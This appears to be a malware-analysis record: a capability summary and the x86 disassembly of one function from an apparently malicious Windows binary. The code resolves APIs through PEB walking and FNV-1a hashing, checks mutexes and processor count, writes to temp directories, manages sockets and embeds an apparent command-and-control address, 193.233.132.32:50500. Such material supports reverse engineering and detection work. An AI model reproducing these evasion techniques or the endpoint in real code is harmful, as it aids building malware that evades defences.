Function at 0x45f940
Capabilities:
Access peb ldr_data
Check mutex on windows
Create directory
Create thread
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x503970
push eax
mov dword fs:[0], esp
sub esp, 0x80c
push ebx
push esi
push edi
push 0x20
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00414b20
mov ebx, eax
mov ecx, edx
shrd eax, ecx, 0x10
mov ecx, ebx
shrd ecx, edx, 8
movzx esi, al
movzx eax, cl
mov ecx, str.1114
add esi, eax
movzx eax, bl
add esi, eax
call fcn.004027b0
push eax
call fcn.004eb117
add esp, 4
xor ecx, ecx
add esi, eax
call fcn.00402e60
sub eax, 0xffffff80
add eax, esi
push eax
call fcn.004e347e
add esp, 4
push 0x100
push 0
push 0x536ee8
call fcn.004df810
add esp, 0xc
mov ecx, str.1114
call fcn.00402660
push eax
mov ecx, str.1114
call fcn.004027b0
push eax
push 0x536ee8
call fcn.004df290
add esp, 0xc
mov ecx, 0x534b74
call fcn.00402660
push eax
mov ecx, 0x534b74
call fcn.004027b0
push eax
push str.193.233.132.32:50500
call fcn.004df290
add esp, 0xc
mov ecx, str.1114
call fcn.004027b0
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45fa20
sub eax, edx
mov ecx, str.1114
push eax
call fcn.004027b0
push eax
lea ecx, [ebp - 0x31c]
call fcn.00402750
push eax
mov ecx, str.1114
call fcn.00466400
lea ecx, [ebp - 0x31c]
call fcn.00402670
mov ecx, 0x534c64
call fcn.004027b0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45fa63
sub eax, edx
mov ecx, 0x534c64
push eax
call fcn.004027b0
push eax
lea ecx, [ebp - 0x334]
call fcn.00402750
push eax
mov ecx, 0x534c64
call fcn.00466400
lea ecx, [ebp - 0x334]
call fcn.00402670
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0045f780
test al, al
jne 0x45fac5
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x200
lea eax, [ebp - 0x710]
push 0
push eax
call fcn.004df810
add esp, 0xc
lea eax, [ebp - 0x710]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x710]
push eax
lea ecx, [ebp - 0x400]
call fcn.00402710
sub esp, 0x18
lea eax, [ebp - 0x400]
mov ecx, esp
push eax
call fcn.00466580
mov edx, 0x1e8c52
lea ecx, [ebp - 0x1f4]
call fcn.0040bba0
add esp, 0x18
mov ecx, 0x5372a8
call fcn.00402660
mov edx, dword [ebp - 0x1f4]
xor edi, edi
mov dword [ebp - 0x24], eax
mov ecx, dword [edx + 0x10]
sub ecx, eax
je 0x45fc3b
mov ecx, 0x5372a8
call fcn.004027b0
mov edx, dword [ebp - 0x1f4]
mov esi, eax
mov eax, edx
cmp dword [eax + 0x14], 0x10
jb 0x45fb61
mov eax, dword [edx]
mov ecx, dword [eax + edi]
cmp ecx, dword [esi]
jne 0x45fba5
mov eax, dword [eax + edi + 4]
cmp eax, dword [esi + 4]
jne 0x45fba5
lea ecx, [ebp - 0x1f4]
call fcn.004651f0
mov ecx, eax
call fcn.004027b0
mov ecx, 0x5372a8
mov esi, dword [eax + edi + 8]
mov ebx, dword [eax + edi + 0xc]
call fcn.004027b0
cmp esi, dword [eax + 8]
jne 0x45fb9f
cmp ebx, dword [eax + 0xc]
je 0x45fbb5
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 0x10]
inc edi
sub eax, dword [ebp - 0x24]
cmp edi, eax
jb 0x45fb45
jmp 0x45fc3b
lea ecx, [ebp - 0x32]
mov dword [ebp - 0x32], 0xf0effdcc
mov dword [ebp - 0x2e], 0x83c6cef6
mov word [ebp - 0x2a], 0x100
call fcn.0040eeb0
movaps xmm0, xmmword [0x5260c0]
lea ecx, [ebp - 0x284]
movups xmmword [ebp - 0x284], xmm0
mov esi, eax
mov dword [ebp - 0x254], 0xa7eda2be
movaps xmm0, xmmword [0x5261e0]
movups xmmword [ebp - 0x274], xmm0
mov dword [ebp - 0x250], 0x100efbb
movaps xmm0, xmmword [0x526400]
movups xmmword [ebp - 0x264], xmm0
call fcn.00445330
push 0x14
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x45fc35
lea esi, [eax + 6]
jmp 0x4629ee
mov edx, dword [ebp - 0x1f4]
push 0
mov ecx, edx
mov dword [ebp - 4], 0
call fcn.00468cb0
push 0
push 3
mov dword [ebp - 4], 0xffffffff
mov edi, dword [0x534ab4]
mov esi, dword [0x534ab0]
push edi
push esi
call fcn.00502d30
mov ebx, eax
add ebx, dword [0x534ab8]
mov ecx, ebx
mov dword [ebp - 0x24], ebx
adc edx, dword [0x534abc]
xor ecx, esi
mov eax, edx
mov dword [ebp - 0x28], edx
xor eax, edi
or ecx, eax
je 0x45fc99
sub esi, ebx
mov dword [0x534ab0], esi
sbb edi, edx
mov dword [0x534ab4], edi
test edi, edi
jg 0x45fcb1
jl 0x45fcb1
cmp esi, 0x3cf536
ja 0x45fcb1
test edi, edi
jg 0x45fcc8
jl 0x45fcb1
test esi, esi
jae 0x45fcc8
xorps xmm0, xmm0
movlpd qword [0x534ab0], xmm0
mov edi, dword [0x534ab4]
mov esi, dword [0x534ab0]
push 0
push 3
push edi
push esi
call fcn.00502d30
mov ebx, eax
mov eax, edi
add ebx, dword [ebp - 0x24]
mov ecx, ebx
mov dword [0x534ab8], ebx
adc edx, dword [ebp - 0x28]
xor ecx, esi
xor eax, edx
mov dword [0x534abc], edx
or ecx, eax
je 0x45fd03
sub esi, ebx
mov dword [0x534ab0], esi
sbb edi, edx
mov dword [0x534ab4], edi
test edi, edi
jg 0x45fd1b
jl 0x45fd1b
cmp esi, 0x3cf536
ja 0x45fd1b
test edi, edi
jg 0x45fd26
jl 0x45fd1b
test esi, esi
jae 0x45fd26
xorps xmm0, xmm0
movlpd qword [0x534ab0], xmm0
push 0x360ef
call dword [sym.imp.KERNEL32.dll_GetProcessId]
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0xfbe8eeef
mov word [ebp - 0x34], 0x100
call fcn.00463700
push 0
lea eax, [ebp - 0x38]
mov ecx, 0x534b8c
push eax
call fcn.00465ff0
test eax, eax
jne 0x45fed8
call fcn.00414ce0
test al, al
je 0x45fe1d
mov eax, dword fs:[0x30]
mov dword [ebp - 0x210], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x54], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0xb0], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0xb0], ecx
cmp ecx, esi
je 0x45fdf4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45fdf4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45fded
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45fdd0
cmp esi, 0xe80fd3a
je 0x45fdf8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45fdb4
mov eax, dword [eax]
jmp 0x45fd81
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x54]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x210]
jmp 0x45fecd
call fcn.00414e20
test al, al
jne 0x45fed8
mov eax, dword fs:[0x30]
mov dword [ebp - 0x150], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x45fea9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45fea9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45fea2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45fe85
cmp esi, 0xe80fd3a
je 0x45fead
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45fe70
mov eax, dword [eax]
jmp 0x45fe40
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x150]
add esi, edx
call fcn.00468240
push dword [eax]
call esi
lea ecx, [ebp - 0x106]
mov dword [ebp - 0x106], 0xfbe8eeef
mov word [ebp - 0x102], 0x100
call fcn.00463700
push 0
lea eax, [ebp - 0x106]
mov ecx, str.__
push eax
call fcn.00465ff0
test eax, eax
jne 0x45ffe5
call fcn.00414e60
mov bl, al
call fcn.00414ef0
mov bh, al
call fcn.00415150
test bl, bl
jne 0x45ff3d
test bh, bh
jne 0x45ff3d
test al, al
jne 0x45ff3d
call fcn.00414d20
test al, al
je 0x45ffe5
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x45ffb9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ffb9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ffb2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ff95
cmp esi, 0xe80fd3a
je 0x45ffbd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45ff80
mov eax, dword [eax]
jmp 0x45ff50
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x14]
add esi, edx
call fcn.00468240
push dword [eax]
call esi
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0xfbe8eeef
mov word [ebp - 0x108], 0x100
call fcn.00463700
push 0
lea eax, [ebp - 0x10c]
mov ecx, 0x534c4c
push eax
call fcn.00465ff0
test eax, eax
jne 0x460022
lea ecx, [eax + 1]
call fcn.00415300
lea ecx, [ebp - 0x112]
mov dword [ebp - 0x112], 0xfbe8eeef
mov word [ebp - 0x10e], 0x100
call fcn.00463700
push 0
lea eax, [ebp - 0x112]
mov ecx, 0x534c34
push eax
call fcn.00465ff0
test eax, eax
jne 0x46005c
call fcn.00418290
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x118], 0xfbe8eeef
mov word [ebp - 0x114], 0x100
call fcn.00463700
push 0
lea eax, [ebp - 0x118]
mov ecx, 0x534b14
push eax
call fcn.00465ff0
mov esi, dword [0x534ab4]
test eax, eax
mov edi, dword [0x534ab0]
push 0
push 3
push esi
push edi
setne byte [ebp - 0x15]
call fcn.00502d30
mov ebx, eax
mov eax, esi
add ebx, dword [0x534ab8]
mov ecx, ebx
mov dword [0x534ab8], ebx
adc edx, dword [0x534abc]
xor ecx, edi
xor eax, edx
mov dword [0x534abc], edx
or ecx, eax
je 0x4600e0
sub edi, ebx
mov dword [0x534ab0], edi
sbb esi, edx
mov dword [0x534ab4], esi
test esi, esi
jg 0x4600f8
jl 0x4600f8
cmp edi, 0x3cf536
ja 0x4600f8
test esi, esi
jg 0x460103
jl 0x4600f8
test edi, edi
jae 0x460103
xorps xmm0, xmm0
movlpd qword [0x534ab0], xmm0
lea ecx, [ebp - 0x15d]
mov dword [ebp - 0x15d], 0xf6f3f5ec
mov dword [ebp - 0x159], 0x8cd1d4eb
mov dword [ebp - 0x155], 0xc9c8c7
mov byte [ebp - 0x151], 1
call fcn.004636a0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x4601a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4601a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4601a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460185
cmp esi, 0x53b2070f
je 0x4601ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460170
mov eax, dword [eax]
jmp 0x460140
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x15d]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x4601dd
xor esi, esi
jmp 0x4629ee
lea ecx, [ebp - 0x1b1]
mov dword [ebp - 0x1b1], 0xd7d3d5cc
mov dword [ebp - 0x1ad], 0x8cf5e5d1
mov dword [ebp - 0x1a9], 0xe9e8e7
mov byte [ebp - 0x1a5], 1
call fcn.0040da40
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.00481290
lea ecx, [ebp - 0x8a]
mov word [ebp - 0x8a], 0xa1
mov byte [ebp - 0x88], 1
call fcn.004638b0
push 0
lea eax, [ebp - 0x8a]
mov ecx, 0x534b74
push eax
call fcn.00465ff0
cmp eax, 0xffffffff
je 0x4602e2
sub esp, 0x18
mov word [ebp - 0xd3], 0xa1
lea ecx, [ebp - 0xd3]
mov byte [ebp - 0xd1], 1
mov esi, esp
call fcn.0040a450
push eax
mov ecx, esi
call fcn.00402710
sub esp, 0x18
mov ecx, esp
push 0x534b74
call fcn.00466580
lea ecx, [ebp - 0x234]
call fcn.0040c470
add esp, 0x30
lea ecx, [ebp - 0x234]
call fcn.004651c0
cmp eax, 2
jne 0x4602d7
push 1
lea ecx, [ebp - 0x234]
call fcn.004651a0
push eax
mov ecx, 0x5370f0
call fcn.004663d0
push 0
lea ecx, [ebp - 0x234]
call fcn.004651a0
push eax
mov ecx, 0x534b74
call fcn.004663d0
lea ecx, [ebp - 0x234]
call fcn.004652b0
push 0
push 0
push 0
push 0x41f030
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x534aac], 0xffffffff
jne 0x4603ba
nop dword [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x460389
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460389
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460382
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460365
cmp esi, 0x2fa62ca8
je 0x46038d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460350
mov eax, dword [eax]
jmp 0x460320
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x534aac], 0xffffffff
je 0x460310
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x138], 0x100c6c1
call fcn.0040a460
push eax
lea ecx, [ebp - 0x228]
call fcn.00402710
mov ecx, 0x104
lea eax, [ebp - 0x818]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4603e6
lea eax, [ebp - 0x818]
push eax
push 0xfb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xc
lea ecx, [ebp - 0x3cc]
call fcn.0040c7d0
lea eax, [ebp - 0x3cc]
mov dword [ebp - 0xa3], 0xfcf2f8fa
push eax
lea ecx, [ebp - 0xa3]
mov word [ebp - 0x9f], 0xfa
mov byte [ebp - 0x9d], 1
call fcn.00409530
push eax
lea ecx, [ebp - 0x334]
call fcn.00402710
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x450]
call fcn.0046a3e0
add esp, 4
lea ecx, [ebp - 0x438]
mov edx, eax
call fcn.0046a4e0
add esp, 4
mov ecx, 0x534afc
push eax
call fcn.00466400
lea ecx, [ebp - 0x438]
call fcn.00402670
lea ecx, [ebp - 0x450]
call fcn.00402670
lea ecx, [ebp - 0x334]
call fcn.00402670
lea ecx, [ebp - 0x334]
call fcn.004027a0
lea ecx, [ebp - 0x12d]
mov dword [ebp - 0x12d], 0xfaf4f9f3
mov word [ebp - 0x129], 0xf6
mov byte [ebp - 0x127], 1
call fcn.00463920
lea eax, [ebp - 0x3cc]
push eax
lea eax, [ebp - 0x12d]
push eax
lea ecx, [ebp - 0x480]
call fcn.00402710
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x468]
call fcn.0046a3e0
add esp, 4
lea ecx, [ebp - 0x24c]
mov edx, eax
call fcn.0046a4e0
add esp, 4
lea ecx, [ebp - 0x468]
call fcn.00402670
lea ecx, [ebp - 0x480]
call fcn.00402670
mov ecx, 0x534afc
call fcn.004027b0
mov ecx, eax
call fcn.0040bfd0
test al, al
je 0x460546
push 0
mov dl, 1
mov ecx, 0x534afc
call fcn.0040c090
add esp, 4
lea ecx, [ebp - 0x24c]
call fcn.004027b0
mov ecx, eax
call fcn.0040bfd0
test al, al
je 0x46056e
push 0
mov dl, 1
lea ecx, [ebp - 0x24c]
call fcn.0040c090
add esp, 4
mov ecx, 0x534afc
call fcn.004027b0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push eax
call esi
test eax, eax
jne 0x460599
mov ecx, 0x534afc
call fcn.00416190
test al, al
je 0x4627db
push 0
lea ecx, [ebp - 0x24c]
call fcn.004027b0
push eax
call esi
test eax, eax
jne 0x460627
mov esi, dword [0x534ab4]
mov edi, dword [0x534ab0]
push eax
push 3
push esi
push edi
call fcn.00502d30
mov ebx, eax
mov eax, esi
add ebx, dword [0x534ab8]
mov ecx, ebx
mov dword [0x534ab8], ebx
adc edx, dword [0x534abc]
xor ecx, edi
xor eax, edx
mov dword [0x534abc], edx
or ecx, eax
je 0x4605f9
sub edi, ebx
mov dword [0x534ab0], edi
sbb esi, edx
mov dword [0x534ab4], esi
test esi, esi
jg 0x460611
jl 0x460611
cmp edi, 0x3cf536
ja 0x460611
test esi, esi
jg 0x46061c
jl 0x460611
test edi, edi
jae 0x46061c
xorps xmm0, xmm0
movlpd qword [0x534ab0], xmm0
lea ecx, [ebp - 0x24c]
call fcn.00416190
lea ecx, [ebp - 0x24c]
call fcn.004027b0
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x150], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4606a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4606a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4606a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460685
cmp esi, 0x7a5b9fa2
je 0x4606ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460670
mov eax, dword [eax]
jmp 0x460641
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x150]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x10]
add esi, edx
call fcn.00468240
push dword [eax]
call esi
lea eax, [ebp - 0x24c]
mov ecx, 0x534ba4
push eax
call fcn.004663d0
call fcn.00416570
test al, al
je 0x4608bf
cmp byte [ebp - 0x15], 0
jne 0x4608bf
push str.1114
lea ecx, [ebp - 0x67]
mov dword [ebp - 0x67], 0xfdf4f0e8
mov dword [ebp - 0x63], 0xcbcdf3f4
mov dword [ebp - 0x5f], 0xc8e4c1c7
mov word [ebp - 0x5b], 0xc3
mov byte [ebp - 0x59], 1
call fcn.0040a750
mov edx, eax
lea ecx, [ebp - 0x31c]
call fcn.0046a380
add esp, 4
mov ecx, eax
call fcn.004027b0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x31c]
call fcn.00402670
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4629cb
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x1f
push 0x3e0
call ebx
sub esi, 1
jne 0x460772
sub esp, 0x18
mov dword [ebp - 0x32], 0xddd3cad3
lea ecx, [ebp - 0x32]
mov dword [ebp - 0x2e], 0xcecdc4b1
mov word [ebp - 0x2a], 0x100
mov esi, esp
call fcn.0040eeb0
push eax
mov ecx, esi
call fcn.00402710
call fcn.0041f4f0
mov ecx, dword [0x53719c]
mov eax, 0x2aaaaaab
sub ecx, dword [0x537198]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4607f3
nop
push 0x30
call ebx
mov ecx, dword [0x53719c]
mov eax, 0x2aaaaaab
sub ecx, dword [0x537198]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4607d0
push 2
push dword [0x534aac]
mov byte [0x536eb1], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x534aac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x14], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x10], ecx
cmp ecx, edx
je 0x460894
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460894
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x46088d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x460870
cmp esi, 0x2fa62ca8
je 0x460898
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x460855
mov eax, dword [eax]
jmp 0x460830
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x18a
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x460820
mov esi, dword [0x534ab4]
mov edi, dword [0x534ab0]
push 0
push 3
push esi
push edi
call fcn.00502d30
mov ebx, eax
add ebx, dword [0x534ab8]
mov ecx, ebx
mov dword [0x534ab8], ebx
adc edx, dword [0x534abc]
xor ecx, edi
mov eax, edx
mov dword [0x534abc], edx
xor eax, esi
or ecx, eax
je 0x46090c
sub edi, ebx
mov dword [0x534ab0], edi
sbb esi, edx
mov dword [0x534ab4], esi
test esi, esi
jg 0x460924
jl 0x460924
cmp edi, 0x3cf536
ja 0x460924
test esi, esi
jg 0x46092f
jl 0x460924
test edi, edi
jae 0x46092f
xorps xmm0, xmm0
movlpd qword [0x534ab0], xmm0
lea ecx, [ebp - 0x8f]
mov byte [0x536edc], 0
mov word [ebp - 0x8f], 0xe7
mov byte [ebp - 0x8d], 1
call fcn.0040a450
lea ecx, [ebp - 0x370]
mov ebx, eax
call fcn.0040d1b0
push 0
push 0x3050
mov edi, eax
call fcn.00407d60
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [0x534aac]
lea ecx, [ebp - 0x498]
mov esi, esp
mov dword [ebp - 0x14], eax
mov edx, edi
push str.1114
push ebx
call fcn.0046a320
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.0046a4e0
mov edx, dword [ebp - 0x10]
add esp, 4
mov ecx, dword [ebp - 0x14]
call fcn.0041e440
add esp, 0x18
lea ecx, [ebp - 0x498]
mov bl, al
call fcn.00402670
lea ecx, [ebp - 0x370]
call fcn.00402670
test bl, bl
je 0x460a92
cmp byte [0x536edc], 0
jne 0x460a92
nop dword [eax]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x90], 0x65
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460a59
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460a59
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460a52
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460a35
cmp esi, 0x2fa62ca8
je 0x460a5d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460a20
mov eax, dword [eax]
jmp 0x4609f6
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x90]
add esi, edx
call fcn.00468240
push dword [eax]
call esi
cmp byte [0x536edc], 0
je 0x4609e0
mov edx, 0x534ae4
lea ecx, [ebp - 0x27c]
call fcn.0041c350
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x228]
call fcn.004663d0
cmp dword [0x534af4], 0
jne 0x460b3c
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x218], 0
jne 0x460b3c
mov edx, 0x534ae4
lea ecx, [ebp - 0x388]
call fcn.0041c350
mov esi, eax
lea ecx, [ebp - 0x27c]
push esi
call fcn.00466400
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x264]
call fcn.00466400
lea ecx, [ebp - 0x370]
call fcn.00402670
